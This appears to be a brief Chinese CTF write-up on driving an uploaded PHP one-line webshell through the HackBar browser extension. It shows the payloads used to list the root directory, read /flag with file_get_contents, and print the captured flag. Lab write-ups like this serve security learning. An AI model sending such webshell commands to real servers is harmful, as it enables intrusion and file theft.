一句话马，不用蚁剑连接通过hack_bar连接

Posted 2021-10-15 鸡肋是鸡肋

ctf中web的一道题

1、进行一句话马上传成功之后

f12打开hack_bar

cmd(一句话马所传入设置的密码)=phpinfo(); 查看被禁用掉的函数

看了下被禁用的函数，发现还是可以进行目标浏览和文件读取

2、查找根目录，利用var_dump()打印、scandir()查找函数

cmd=var_dump(scandir(\'/\'));

发现根目录下存在flag

3、读取目标文件下、并打印出来file_get_contents();获取目标文件

cmd=var_dump(file_get_contents(\'/flag\'));

得到flag:flag{3252054f-bd05-453a-acc8-a252b4eaaee6}